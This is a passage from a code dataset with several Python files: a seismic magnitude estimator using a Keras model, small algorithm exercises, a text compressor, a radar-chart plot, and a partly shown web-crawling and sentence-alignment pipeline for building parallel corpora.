minimum energy between the start of the signal and the S-wave\r\n delta_energia = Energia_Z_ref[arg_amp_maxima]-Energia_Z_ref[arg_amp_minima] \r\n energia_umbral_corte = delta_energia*umbral_corte+Energia_Z_ref[arg_amp_minima] #energy threshold\r\n \r\n arg_fin_nueva_coda = arg_amp_maxima + np.argmin(np.abs(Energia_Z_ref[arg_amp_maxima:]-energia_umbral_corte)) \r\n muestra_corte_coda = int(fs*frame_len*arg_fin_nueva_coda/frame_shi) \r\n data_k_or = data_k\r\n \r\n data_k = data_k[:muestra_corte_coda] #The signal is cut \r\n \r\n feat_k = utils_magnitude.parametrizador(data_k, frame_len, frame_shi,nfft, escala = escala_features_fft)\r\n \r\n #The signal is windowed\r\n feat_t = utils_magnitude.get_frames(data_k,frame_len, frame_shi) \r\n #FFT\r\n feat_fourier_completa = np.fft.fft(feat_t, nfft, axis=1) \r\n #Real and imaginary part are concatenated\r\n feat_fourier_completa = np.hstack((feat_fourier_completa.real[:,:feat_fourier_completa.shape[1]//2 +1],\r\n feat_fourier_completa.imag[:,:feat_fourier_completa.shape[1]//2 +1])) \r\n feat_fourier_completa = np.delete(feat_fourier_completa,[129,257],1)\r\n #Energy\r\n if Energy == 'E1':\r\n feat_Energy = utils_magnitude.E1(data_k, frame_len, frame_shi, nfft,escala = escala_features_energia)\r\n feat_k = np.hstack((feat_k, np.array([feat_Energy]).T ))\r\n elif Energy == 'E2':\r\n feat_Energy = utils_magnitude.E2(data_k, frame_len, frame_shi,escala = escala_features_energia)\r\n feat_k = np.hstack((feat_k, np.array([feat_Energy]).T ))\r\n elif Energy == 'E3':\r\n feat_Energy = utils_magnitude.E3(data_k, frame_len,frame_shi,escala = escala_features_energia)\r\n feat_k = np.hstack((feat_k, np.array([feat_Energy]).T)) \r\n \r\n \r\n if version == 'original':\r\n features_canales_temporal.append(feat_k)\r\n elif version == 'fourier_completa':\r\n features_canales_temporal.append(feat_fourier_completa)\r\n elif version == 'raw':\r\n features_canales_temporal.append(feat_t)\r\n \r\n feat_canales_temporal = np.hstack(features_canales_temporal) \r\n \r\n if sac_k[ch].stats.channel[-1]=='Z':\r\n ##Global features selection\r\n #feat_distancia_evento = [lat,lon,depth,dist]\r\n #features_canales_global.append(np.hstack(([Coordenadas_estaciones[estaciones[i]], id_estacion[estaciones[i]],time_sp, features_distancia_evento])))\r\n features_canales_global.append(np.hstack(([id_estacion[sta]])))\r\n \r\n feat_canales_global = np.hstack(features_canales_global)\r\n\r\n\r\n\r\n feat_por_evento_temporal.append(feat_canales_temporal)\r\n \r\n #print('Shape temporal features: {:d}x{:d}'.format(feat_canales_temporal.shape[0],feat_canales_temporal.shape[1])) \r\n #print('Shape global features: {:d}'.format(feat_canales_global.shape[0])) \r\n\r\n if True:\r\n feat_out = os.path.join('Features/').replace('\\\\', '/')\r\n #print('The features were saved')\r\n np.save(feat_out+'feat_temporal_test_integracion_magnitude.npy', np.array( feat_canales_temporal))\r\n np.save(feat_out+'feat_global_test_integracion_magnitude.npy', feat_canales_global) \r\n \r\n \r\ndef DNN_magnitude():\r\n import matplotlib.pyplot as plt\r\n from keras.models import Model, load_model\r\n from keras.layers import Dense, LSTM, Bidirectional,Concatenate,Input,concatenate\r\n import numpy as np\r\n from keras.utils import Sequence\r\n import time\r\n from tensorflow.python.keras import backend as K\r\n import tensorflow as tf\r\n from keras.callbacks import EarlyStopping\r\n import os\r\n from keras.optimizers import Adam\r\n import json\r\n from Funciones import utils_magnitude \r\n \r\n tipo_de_escalamiento = 'MinMax' #'Standard', 'MinMax', 'MVN', 'None' #Normalization, must be the same than in training\r\n #Path to features and labels\r\n path_root = os.getcwd()\r\n path_feat = \"Features/\"\r\n path_feat_in_test_temporal = path_feat + 'feat_temporal_test_integracion_magnitude.npy'\r\n path_feat_in_test_global = path_feat + 'feat_global_test_integracion_magnitude.npy'\r\n \r\n #Path where the model was saved\r\n path_model = 'DNN_magnitude.h5'\r\n path_normalization = 'normalization_parameters_magnitude.json'\r\n class MyBatchGenerator(Sequence):\r\n 'Generates data for Keras'\r\n def __init__(self, X, x, y, batch_size=1, shuffle=False):\r\n 'Initialization'\r\n self.X = X\r\n self.x = x\r\n self.y = y\r\n self.batch_size = batch_size\r\n self.shuffle = shuffle\r\n self.on_epoch_end()\r\n \r\n def __len__(self):\r\n 'Denotes the number of batches per epoch'\r\n return int(np.floor(len(self.y)/self.batch_size))\r\n \r\n def __getitem__(self, index):\r\n return self.__data_generation(index)\r\n \r\n def on_epoch_end(self):\r\n 'Shuffles indexes after each epoch'\r\n self.indexes = np.arange(len(self.y))\r\n if self.shuffle == True:\r\n np.random.shuffle(self.indexes)\r\n \r\n def __data_generation(self, index):\r\n Xb = np.empty((self.batch_size, *self.X[index].shape))\r\n xb = np.empty((self.batch_size, *self.x[index].shape))\r\n yb = np.empty((self.batch_size, *self.y[index].shape))\r\n # naively use the same sample over and over again\r\n for s in range(0, self.batch_size):\r\n Xb[s] = self.X[index]\r\n xb[s] = self.x[index]\r\n yb[s] = self.y[index]\r\n \r\n return [Xb, xb], yb\r\n \r\n \r\n \r\n \r\n \r\n feat_in_test_temporal = np.load(path_feat_in_test_temporal, allow_pickle=True)\r\n feat_in_test_global = np.load(path_feat_in_test_global, allow_pickle=True)\r\n \r\n #mag_real_test = np.load(path_mag_real_test)\r\n #id_test = mag_real_test[:,0]\r\n #mag_real_test = np.array([mag_real_test[i,1] for i in range(len(mag_real_test))],dtype=float)\r\n \r\n \r\n dictParameters = open(path_normalization, \"r\", encoding='utf-8')\r\n dictParameters = json.load(dictParameters)\r\n \r\n \r\n # =============================================================================\r\n # Se Normaliza los features: 'MVN' normaliza los features de acuerdo a los features del evento en cuestion\r\n #'Standard' y 'MinMax' normaliza los features de acuerdo a promedios y desv estandar de features de acuerdo a la base de entrenamiento\r\n # =============================================================================\r\n if tipo_de_escalamiento == 'Standard': #The features are normalized using Z-Score over all the data base\r\n print('Se normalizan los features utilizando', tipo_de_escalamiento)\r\n mean_over_feat_train_temporal = np.array(dictParameters['mean_temporal'])\r\n std_over_feat_train_temporal = np.array(dictParameters['std_temporal'])\r\n mean_over_feat_train_global = np.array(dictParameters['mean_global'])\r\n std_over_feat_train_global = np.array(dictParameters['std_global'])\r\n \r\n feat_norm_test_temporal = np.array([ (feat_in_test_temporal[i]-mean_over_feat_train_temporal)/std_over_feat_train_temporal \r\n for i in range(len(feat_in_test_temporal))],dtype=object)\r\n \r\n feat_norm_test_global = np.array([ (feat_in_test_global[i]-mean_over_feat_train_global)/std_over_feat_train_global \r\n for i in range(len(feat_in_test_global))],dtype=object)\r\n \r\n \r\n \r\n elif tipo_de_escalamiento == 'MinMax': #Features are translated into a range between 0 and 1\r\n #print('Se normalizan los features utilizando', tipo_de_escalamiento)\r\n \r\n min_f_train_temporal = np.array(dictParameters['min_temporal'])\r\n max_f_train_temporal = np.array(dictParameters['max_temporal'])\r\n min_f_train_global = np.array(dictParameters['min_global'])\r\n max_f_train_global = np.array(dictParameters['max_global'])\r\n \r\n \r\n feat_norm_test_temporal = np.array([(feat_in_test_temporal[i]-min_f_train_temporal)/(max_f_train_temporal-min_f_train_temporal)\r\n for i in range(len(feat_in_test_temporal))],dtype=object)\r\n \r\n feat_norm_test_global = np.array([(feat_in_test_global[i]-min_f_train_global)/(max_f_train_global-min_f_train_global)\r\n for i in range(len(feat_in_test_global))],dtype=object)\r\n \r\n elif tipo_de_escalamiento == 'MVN':\r\n print('Se normalizan los features utilizando', tipo_de_escalamiento)\r\n feat_norm_test_temporal = np.array([utils_magnitude.cmvn(feat_in_test_temporal[i]) for i in range(len(feat_in_test_temporal))],dtype=object)\r\n \r\n feat_norm_test_global = feat_in_test_global\r\n \r\n \r\n elif tipo_de_escalamiento == 'None':\r\n print('No se normalizan los features')\r\n feat_norm_test_temporal = np.array([feat_in_test_temporal[i] for i in range(len(feat_in_test_temporal))],dtype=object)\r\n feat_norm_test_global = np.array([feat_in_test_global[i] for i in range(len(feat_in_test_global))],dtype=object)\r\n \r\n \r\n\r\n X_test_temporal, y_test = feat_norm_test_temporal, np.zeros(len(feat_norm_test_temporal))\r\n X_test_global = feat_norm_test_global\r\n x_test = MyBatchGenerator( [X_test_temporal],X_test_global, np.zeros(1), batch_size=1, shuffle=False)\r\n model = load_model(path_model)\r\n y_estimada_test = np.hstack(model.predict(x_test,verbose=0))\r\n \r\n \r\n \r\n return np.round(y_estimada_test[0],2) \r\n \r\ndef magnitude_estimation(sac_conc):\r\n \r\n function_features_extration(sac_conc)\r\n \r\n magnitude = DNN_magnitude()\r\n #print('Magnitud estimada de: ', magnitude)\r\n \r\n return magnitude","sub_path":"test_magnitude_estimation.py","file_name":"test_magnitude_estimation.py","file_ext":"py","file_size_in_byte":13790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"114166108","text":"# 给定两个整数 n 和 k,返回 1 ... n 中所有可能的 k 个数的组合。\n#\n# 示例:\n#\n# 输入: n = 4, k = 2\n# 输出:\n# [\n# [2,4],\n# [3,4],\n# [2,3],\n# [1,2],\n# [1,3],\n# [1,4],\n# ]\nclass Solution:\n\tdef combine(self, n, k):\n\t\t\"\"\"\n\t\t:type n: int\n\t\t:type k: int\n\t\t:rtype: List[List[int]]\n\t\t\"\"\"\n\t\tself.res = []\n\t\tself.n = n\n\t\tself.k = k\n\t\t#第一阶段的所有决策, 参数:组合,当前列,上一个列的选择\n\t\tself.recurs([],1,0)\n\t\treturn self.res\n\tdef recurs(self,nums,cur,pre):\n\t\tif cur == self.k+1:\n\t\t\tself.res.append(nums.copy())\n\t\t\treturn\n\n\t\t#决策: 比如上一列的选择是1那么这个列的选择就是2,3,4..., 如果上一列的选择是2那么这列就是3,4,5...\n\t\tfor i in range(pre+1,self.n+1):\n\t\t\tnums.append(i)\n\t\t\tself.recurs(nums,cur+1,i)\n\t\t\tnums.pop()\n\t\treturn self.res","sub_path":"递归/回溯/combinations.py","file_name":"combinations.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"434679395","text":"\"\"\"\r\n\n\nCreate a function that subtracts one positive integer from another, without\nusing any arithmetic operators such as `-`, `%`, `/`, `+`, etc.\n\n### Examples\n\n my_sub(5, 9) ➞ 4\n \n my_sub(10, 30) ➞ 20\n \n my_sub(0, 0) ➞ 0\n\n### Notes\n\n * Do not multiply by `-1`.\n * Use bitwise operations only: `<<`, `|`, `~`, `&`, etc.\n\n\"\"\"\r\n\ndef my_sub(y, x):\n while y != 0:\n borrow = (~x) & y \n x = x ^ y \n y = borrow << 1\n return x\n\n","sub_path":"7eQNpraoWR3JxZMKB_24.py","file_name":"7eQNpraoWR3JxZMKB_24.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"139157183","text":"\ndef get_key(my_dict,val):\n for key, value in my_dict.items(): \n if val == value: \n return key \n \n return None\n\n\nfile = open(\"alice29.txt\",\"r\")\ncontent = file.readlines()\nprint(content)\nd = {}\nmask = 1\nresult = []\nbro = []\nfor line in content:\n\tbro = []\n\tl_cont = line.split()\n\tfor word in l_cont:\n\t\tif d.get(word):\n\t\t\tbro.append(str(d.get(word)))\n\t\telse:\n\t\t\td[word] = str(mask)\n\t\t\tbro.append(str(mask))\n\t\t\tmask+=1\n\tresult.append(bro)\nprint(result)\ndecomp = []\nres2=[]\nfor x in result:\n\tdecomp = []\n\tfor y in x:\n\t\tactual = get_key(d,y)\n\t\tdecomp.append(actual)\n\tres2.append(decomp)\nout = open(\"compressed.txt\",\"w+\")\ndic = open(\"dict.txt\",\"w+\")\ndic_line = []\nfor i,j in d.items():\n\tdic_line.append(str(i)+\":\"+j)\ndic.write(\" \".join(dic_line))\ndic.write(\"\\n\")\nfor line in result:\n\tl = \" \".join(line)\n\tout.write(l)\n\tout.write(\"\\n\")\nout.close()\nfile.close()\n\n\n\n","sub_path":"comp.py","file_name":"comp.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"110480827","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\ndf = pd.read_excel('雷达图.xlsx') \ndf = df.set_index('性能评价指标') \ndf = df.T \ndf.index.name = '品牌' \ndef plot_radar(data, feature): \n plt.rcParams['font.sans-serif'] = ['SimHei'] \n plt.rcParams['axes.unicode_minus'] = False \n cols = ['动力性', '燃油经济性', '制动性', '操控稳定性', '行驶平顺性', '通过性', '安全性', '环保性'] \n colors = ['green', 'blue', 'red', 'yellow'] \n angles = np.linspace(0.1 * np.pi, 2.1 * np.pi, len(cols), endpoint = False) \n angles = np.concatenate((angles, [angles[0]])) \n fig = plt.figure(figsize = (8, 8)) \n ax = fig.add_subplot(111, polar = True)\n for i, c in enumerate(feature): \n stats = data.loc[c] \n stats = np.concatenate((stats, [stats[0]])) \n ax.plot(angles, stats, '-', linewidth = 6, c = colors[i], label = '%s'%(c)) \n ax.fill(angles, stats, color = colors[i], alpha = 0.25) \n ax.legend() \n ax.set_yticklabels([]) \n ax.set_thetagrids(angles * 180 / np.pi, cols, fontsize = 16)\n plt.show()\n return fig\nfig = plot_radar(df, ['A品牌'])\n","sub_path":"ch2-办公-表格Excel/python-let-excel-fly-202007/08/案例05 制作雷达图对比多项指标/制作某一品牌性能评价指标雷达图.py","file_name":"制作某一品牌性能评价指标雷达图.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"561050109","text":"#!/usr/bin/env python3\n\nimport glob\nimport argparse\nimport gzip\nimport json\nimport lzma\nimport os\nimport random\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport traceback\nimport urllib.parse\nfrom collections import defaultdict\nfrom multiprocessing import Pool\nfrom pathlib import Path\n\nimport requests\nfrom tqdm import tqdm\n\nimport tldextract\n\nsys.path.append(\"{0}/..\".format(os.path.dirname(os.path.realpath(__file__))))\nscriptDir = os.path.dirname(os.path.realpath(sys.argv[0]))\n\nfrom utils.common import open_gzip_or_plain\n\nrandom.seed(31415926535)\n\nstep_descr = {1: [\"Prepare the working directory\", 'working_dir'],\n 2: [\"Produce a list of domains from a langstat file\", 'lang1', 'lang2', 'langstat_path', 'langstat_threshold'],\n 3: [\"Split domains for N machines\", 'domain_splits'],\n 4: [\"Crawl domains using HTTrack\", 'split_process', 'httrack_dir', 'crawl_time', 'threads'],\n 5: [\"Produce LETT files from the downloaded data\", 'split_process', 'lang1', 'lang2', 'threads'],\n 6: [\"Merge LETT files with the same domain\", 'split_process'],\n 7: [\"**DELETED** Upload lett files to Azure blob storage\"],\n 8: [\"**DELETED** Download lett files from Azure blob storage\"],\n 9: [\"Extract LETT files\", 'sentence_splitter', 'lang1', 'lang2', 'threads'],\n 10: [\"Deduplicate foreign text\", 'lang2', 'threads'],\n 11: [\"Bulk translate foreign text to English\", 'translation_script_path', 'lang2'],\n 12: [\"Apply translations to foreign text\", 'lang2'],\n 13: [\"Document alignment\", 'lang1', 'lang2', 'document_threshold', 'moses_dir'],\n 14: [\"Sentence alignment\", 'lang1', 'lang2', 'document_threshold', 'bleu_threshold']\n }\n\n\ndef output_step_descr():\n ret = \"Steps: \"\n\n for key, value in step_descr.items():\n ret += \"(\" + str(key) + \") \" + value[0] + \" \"\n\n return ret\n\ndef print_step(num):\n print(\">>> Step\", num, step_descr[num][0], \"<<<\")\n\n\ndef check_required_variables(args, steps):\n\n def check_arg_vars(vs):\n for v in vs:\n assert(vars(args)[v])\n\n progress = 0\n\n try:\n for s in steps:\n progress = s\n check_arg_vars(step_descr[s][1:])\n\n except AssertionError:\n expected_vars_with_dashes = [\n \"--\" + n.replace('_', '-') for n in sorted(step_descr[progress][1:])]\n sys.stderr.write(\"Some arguments for step {0} are missing!\\nExpected arguments: {1}\\n\".format(\n progress, str(expected_vars_with_dashes)))\n sys.exit(1)\n\ndef systemCheck(cmd):\n sys.stderr.write(\"Executing:\" + cmd + \"\\n\")\n sys.stderr.flush()\n\n subprocess.check_call(cmd, shell=True)\n\n\ndef prepare(dirpath):\n #p = Path(dirpath)\n #if not p.exists():\n # p.mkdir()\n #elif len(list(p.glob('./*'))) > 0:\n # raise Exception(\"The working directory is not empty!\")\n systemCheck(\"mkdir -p \" + dirpath)\n\n\ndef load_domains(file_path):\n domains = set()\n with file_path.open(\"r\") as f:\n for line in f:\n line = line.strip()\n if len(line):\n domains.add(line)\n\n return domains\n\n\ndef find_domains_in_langstat(lang1, lang2, langstat_path, threshold, exclude_path):\n l12 = [lang1.lower(), lang2.lower()]\n domains = defaultdict(dict)\n\n excluded_set = set()\n if exclude_path:\n excluded_set = load_domains(Path(exclude_path))\n\n sys.stderr.write(\n \"Gathering domain information for {0} and {1}...\\n\".format(*l12))\n with tqdm(total=None) as pbar:\n with open_gzip_or_plain(langstat_path) as f:\n for line in f:\n split_line = line.strip().split()\n if len(split_line) != 3:\n continue\n\n domain, lang, byte_len = split_line\n if lang.lower() in l12:\n domains[domain][lang.lower()] = byte_len\n\n pbar.update(1)\n\n domains_to_crawl = set()\n for k, v in domains.items():\n if tldextract.extract(k).domain in excluded_set:\n continue\n\n if len(v) == 2:\n lang1_bytes = int(v[l12[0]])\n lang2_bytes = int(v[l12[1]])\n if lang1_bytes >= int(threshold) and lang2_bytes >= int(threshold):\n domains_to_crawl.add(k)\n\n sys.stderr.write(\n \"{0} domains found.\\nDone.\\n\".format(len(domains_to_crawl)))\n return domains_to_crawl\n\n\ndef output_domains(domain_path, domains):\n with domain_path.open(\"w\") as f:\n for d in domains:\n f.write(\"{0}\\n\".format(d))\n\n\ndef output_binned_domains(binned_domains_dir, binned_domains):\n for idx, domains in enumerate(binned_domains):\n with binned_domains_dir.joinpath(\"domains.{0}\".format(idx)).open(\"w\") as f:\n for d in domains:\n f.write(\"{0}\\n\".format(d))\n\n\ndef bin_domains(domains_path, n_splits):\n # load domains\n domain_map = defaultdict(list)\n with domains_path.open(\"r\") as f:\n for line in f:\n full_domain = line.strip()\n domain = tldextract.extract(full_domain).domain\n domain_map[domain].append(full_domain)\n\n # create bins\n bins = [[] for n in range(n_splits)]\n\n # sort domains in a stable way\n sorted_domains = sorted([(len(x), x)\n for x in domain_map.values()], reverse=True)\n\n # fill the bins\n for domain in sorted_domains:\n # find the smallest bin\n smallest_bin = min([(len(bins[n]), n) for n in range(len(bins))])\n\n # add to the smallest bin\n bins[smallest_bin[1]].extend(domain[1])\n\n # shuffle bins so that we distribute crawling better\n for idx in range(len(bins)):\n random.shuffle(bins[idx])\n\n return bins\n\n\ndef crawl_process(args):\n httrack_dir, url, crawl_time, webdir = args\n cmd = [\n \"{0}/bin/httrack\".format(httrack_dir), \"--skeleton\",\n \"-C0\", \"-Q\", \"-q\", \"-%i0\", \"-I0\", \"-u2\",\n \"-E{0}\".format(crawl_time), \"-O\", webdir, url\n ]\n systemCheck(\" \".join(cmd))\n\n\ndef download_webdomains(httrack_dir, webdir_path, domains, threads, crawl_time):\n webdir_path.parent.mkdir(parents=True, exist_ok=True)\n webdir_path.mkdir(parents=True, exist_ok=True)\n\n domains = list(domains)\n args = [(httrack_dir, d, crawl_time, webdir_path._str) for d in domains]\n\n p = Pool(threads)\n p.map(crawl_process, args)\n\n if webdir_path.joinpath('cookies.txt').exists():\n webdir_path.joinpath('cookies.txt').unlink()\n\n\ndef convert_webdir_to_lett_process(args):\n domain_name, paths, langs = args\n paths['lettdir'].joinpath(domain_name).mkdir(parents=True, exist_ok=True)\n\n cmd_webdir2ett = \"{0} -l {1},{2}\".format(\n str(paths['script_ett2lett']), langs[0], langs[1])\n cmd_ett2lett = \"{0} {1}\".format(str(paths['script_webdir2ett']), str(\n paths['webdir'].joinpath(domain_name)))\n lett_path = paths['lettdir'].joinpath(domain_name).joinpath(\"v2.lett.gz\")\n cmd = \"{0} | {1} | gzip -c > {2}\".format(\n cmd_webdir2ett, cmd_ett2lett, str(lett_path))\n p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE)\n p.communicate()\n\n\ndef convert_webdir_to_lett(bitextor_dir, webdir_path, lettdir_path, lang1, lang2, threads, keepBoilerplate):\n lettdir_path.parent.mkdir(parents=True, exist_ok=True)\n lettdir_path.mkdir(parents=True, exist_ok=True)\n\n #print(\"webdir_path\", webdir_path)\n #print(\"lettdir_path\", lettdir_path)\n #print(\"keepBoilerplate\", keepBoilerplate)\n\n cmd = \"ls \" + str(webdir_path) + \" | parallel -v --no-notice -j \" + str(threads)\n\n if keepBoilerplate:\n keepBoilerplateStr = \" -b \"\n else:\n keepBoilerplateStr = \" \"\n\n cmd += \" '\" \\\n + \"mkdir -p \" + str(lettdir_path) + \"/{} && \" \\\n + bitextor_dir + \"/bin/bitextor-webdir2ett \" + keepBoilerplateStr + str(webdir_path) + \"/{} | \" \\\n + bitextor_dir + \"/bin/bitextor-ett2lett -l \" + lang1 + \",\" + lang2 + \" | \" \\\n + \" xz -c > \" + str(lettdir_path) + \"/{}/v2.lett.xz\" \\\n + \"'\"\n\n systemCheck(cmd)\n\n\ndef merge_lett(lettdir_path, lettdirmerged_path):\n lettdirmerged_path.parent.mkdir(parents=True, exist_ok=True)\n lettdirmerged_path.mkdir(parents=True, exist_ok=True)\n\n domain_map = defaultdict(list)\n for f in lettdir_path.glob(\"./*\"):\n domain = tldextract.extract(f.name).domain\n domain_map[domain].append(f.name)\n\n for domain_extract, domains_full in domain_map.items():\n lettdirmerged_domain_path = lettdirmerged_path.joinpath(domain_extract)\n lettdirmerged_domain_path.mkdir(parents=True, exist_ok=True)\n\n with lzma.open(str(lettdirmerged_domain_path.joinpath('v2.lett.xz')), \"wb\") as fw:\n for d in domains_full:\n lett_path = lettdir_path.joinpath(d).joinpath('v2.lett.xz')\n if lett_path.exists():\n with lzma.open(str(lett_path), \"rb\") as fr:\n shutil.copyfileobj(fr, fw)\n\n\ndef extract_lett_process(args):\n lett_dir_path, sentence_splitter, langs = args\n\n extracted_lett_path = Path(os.path.dirname(\n os.path.realpath(__file__))).joinpath(\"../utils/extract_lett.py\")\n\n lett_path = Path(lett_dir_path).joinpath(\"v2.lett.xz\")\n if not lett_path.exists():\n return\n\n cmd = [\n \"python3\", str(extracted_lett_path),\n \"--langs\", langs,\n \"--splitter\", sentence_splitter,\n \"--prune_type\", \"words\",\n \"--prune\", \"80\",\n \"--output_dir\", str(lett_dir_path)\n ]\n\n with lzma.open(str(lett_path), \"rb\") as gf:\n p = subprocess.Popen(cmd, stdin=subprocess.PIPE)\n out, err = p.communicate(gf.read())\n\n\ndef extract_lett(domains_dir_path, sentence_splitter, lang1, lang2, threads):\n\n args = [(d, sentence_splitter, \"{0},{1}\".format(\n lang1, lang2)) for d in domains_dir_path.iterdir()]\n\n p = Pool(threads)\n p.map(extract_lett_process, args)\n\n\ndef dedupe_extracted(working_dir, lett_dir_path, shards, lang2, threads):\n print(\"lett_dir_path\", lett_dir_path)\n print(\"shards\", shards)\n\n deduped_path = working_dir + \"/deduped\"\n p = Path(deduped_path)\n p.mkdir(parents=True, exist_ok=True)\n\n\n # read and deduplicate\n for shard in shards:\n unique_lines = set()\n\n for domain in lett_dir_path.joinpath(shard).iterdir():\n extracted_path = domain.joinpath(\"{0}.extracted.xz\".format(lang2))\n if not extracted_path.exists():\n continue\n\n with lzma.open(str(extracted_path), \"rb\") as rf:\n for line in rf:\n line_split = line.decode(\"utf-8\").strip().split(\"\\t\", 1)\n if len(line_split) != 2:\n continue\n\n unique_lines.add(line_split[1])\n\n # write to dedbuped file\n with lzma.open(deduped_path + \"/extracted.{0}.dedup.{1}.xz\".format(lang2, shard), \"wb\") as wf:\n for line in unique_lines:\n wf.write(\"{0}\\n\".format(line).encode(\"utf-8\"))\n\n\ndef bulkTranslate(working_dir, translation_script, lang2, shard):\n\n deduped_path = working_dir + \"/deduped\"\n\n extracted_dedup_path = deduped_path + \"/extracted.{0}.dedup.{1}.xz\".format(lang2, shard)\n\n with lzma.open(str(extracted_dedup_path), \"rb\") as rf:\n output_path = deduped_path + \"/extracted.{0}.dedup.translated.{1}.xz\".format(lang2, shard)\n cmd = \"{0} | xz -c > {1}\".format(translation_script, output_path)\n p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE)\n p.communicate(rf.read())\n\ndef translateExtracts(working_dir, lang2, shard):\n lettDir = working_dir + \"/lettdir_merged/\" + shard\n\n exFile = working_dir + \"/deduped/extracted.\" + lang2 + \".dedup.\" + shard\n transFile = working_dir + \"/deduped/extracted.\" + lang2 + \".dedup.translated.\" + shard\n\n cmd = \"xz -d \" + exFile + \".xz \" + transFile + \".xz\"\n systemCheck(cmd)\n\n cmd = \"paste \" + exFile + \" \" + transFile \\\n + \" | xz -c > \" \\\n + working_dir + \"/deduped/\" + shard + \".\" + lang2 + \".all.dedup.bitext.xz\"\n systemCheck(cmd)\n\n cmd = scriptDir + \"/../utils/translate_table_batch.py --dir \" + lettDir \\\n + \" --lang \" + lang2 \\\n + \" --translations \" + working_dir + \"/deduped/\" + shard + \".\" + lang2 + \".all.dedup.bitext.xz\"\n systemCheck(cmd)\n\n cmd = \"xz \" + exFile + \" \" + transFile\n systemCheck(cmd)\n\n\ndef docAlign(threads, lettDir, lang1, lang2, docThreshold, mosesDir, shard):\n cmd = scriptDir + \"/../parallel/doc_align_parallel.sh \" + str(threads) + \" \" + lettDir + \"/lettdir_merged/\" + shard + \" \" + lang2 \\\n + \" \" + docThreshold + \" 0 translate-script-here-again \" + mosesDir\n systemCheck(cmd)\n\ndef bleuAlign(threads, working_dir, lang1, lang2, docThreshold, bleuThreshold, shard):\n lettDir = working_dir + \"/lettdir_merged/\" + shard\n cmd = scriptDir + \"/../parallel/bleualign-parallel.py --root-path \" + lettDir \\\n + \" --lang1 \" + lang1 + \" --lang2 \" + lang2 \\\n + \" --doc-threshold \" + docThreshold \\\n + \" --bleu-threshold \" + bleuThreshold\n systemCheck(cmd)\n\n bitextPath = Path(working_dir + \"/bitext\")\n bitextPath.mkdir(parents=True, exist_ok=True)\n\n destPath = str(bitextPath) + \"/\" + shard + \".bitext.xz\"\n with lzma.open(destPath, \"wb\") as fw:\n sourcePaths = glob.glob(lettDir + \"/*/aligned.*.xz\")\n for sourcePath in sourcePaths:\n with lzma.open(sourcePath, \"rb\") as fr:\n shutil.copyfileobj(fr, fw)\n\n\n###########################################################################################################################\n\ndef run_steps(args, steps):\n progress = -1\n try:\n # Prepare the working directory\n if 1 in steps:\n progress = 1\n print_step(1)\n prepare(args.working_dir)\n\n # Produce a list of domains from a langstat file\n if 2 in steps:\n progress = 2\n print_step(2)\n\n wd_path = Path(args.working_dir)\n if not wd_path.exists():\n raise Exception(\"The working folder does not exist!\")\n domain_path = wd_path.joinpath(\"domains_to_crawl\")\n\n domains = find_domains_in_langstat(\n args.lang1.lower(),\n args.lang2.lower(),\n args.langstat_path,\n args.langstat_threshold,\n args.excluded_domains)\n\n # output domains to be crawled\n output_domains(domain_path, domains)\n\n # Split domains for N machines\n if 3 in steps:\n progress = 3\n print_step(3)\n\n wd_path = Path(args.working_dir)\n if not wd_path.exists():\n raise Exception(\"The working folder does not exist!\")\n domain_path = wd_path.joinpath(\"domains_to_crawl\")\n\n # get bins\n binned_domains = bin_domains(domain_path, int(args.domain_splits))\n\n # create the bins directory\n binned_domains_dir = wd_path.joinpath(\"domain_bins\")\n if not binned_domains_dir.exists():\n binned_domains_dir.mkdir()\n\n # output to the bins directory\n output_binned_domains(binned_domains_dir, binned_domains)\n\n # Crawl domains using HTTrack\n if 4 in steps:\n progress = 4\n print_step(4)\n\n wd_path = Path(args.working_dir)\n for p in args.split_process.split(\",\"):\n binned_domain_path = wd_path.joinpath(\n \"domain_bins\").joinpath(\"domains.{0}\".format(p))\n domains = load_domains(binned_domain_path)\n download_webdomains(args.httrack_dir, wd_path.joinpath(\"webdir\").joinpath(\n p), domains, int(args.threads), args.crawl_time)\n\n # Produce LETT files from the downloaded data\n if 5 in steps:\n progress = 5\n print_step(5)\n\n wd_path = Path(args.working_dir)\n for p in args.split_process.split(\",\"):\n convert_webdir_to_lett(\n args.bitextor_dir,\n wd_path.joinpath(\"webdir\").joinpath(p),\n wd_path.joinpath(\"lettdir\").joinpath(p),\n args.lang1,\n args.lang2,\n int(args.threads),\n args.keep_boilerplate\n )\n\n # Merge LETT files with the same domain\n # This needs to be optimised! Currently wastes a lot of space\n # by essentially making a copy of all LETT files.\n if 6 in steps:\n progress = 6\n print_step(6)\n\n wd_path = Path(args.working_dir)\n for p in args.split_process.split(\",\"):\n merge_lett(\n wd_path.joinpath(\"lettdir\").joinpath(p),\n wd_path.joinpath(\"lettdir_merged\").joinpath(p)\n )\n\n # Upload lett files to Azure blob storage\n if 7 in steps:\n progress = 7\n print_step(7)\n\n #lettmerged_dir_path = Path(\n # args.working_dir).joinpath(\"lettdir_merged\")\n #run_cmd([\n # \"az\", \"storage\", \"blob\", \"upload-batch\",\n # \"--account-key\", args.az_account_key,\n # \"--account-name\", args.az_account_name,\n # \"-s\", str(lettmerged_dir_path),\n # \"-d\", args.blob_container\n #])\n\n # Download lett files from Azure blob storage\n if 8 in steps:\n progress = 8\n print_step(8)\n\n #lett_dir_path = Path(args.working_dir).joinpath(\"lettdir_blob\")\n #lett_dir_path.mkdir(parents=True, exist_ok=True)\n\n #for p in args.split_process.split(\",\"):\n # run_cmd([\n # \"az\", \"storage\", \"blob\", \"download-batch\",\n # \"--account-key\", args.az_account_key,\n # \"--account-name\", args.az_account_name,\n # \"--source\", args.blob_container,\n # \"--destination\", str(lett_dir_path),\n # 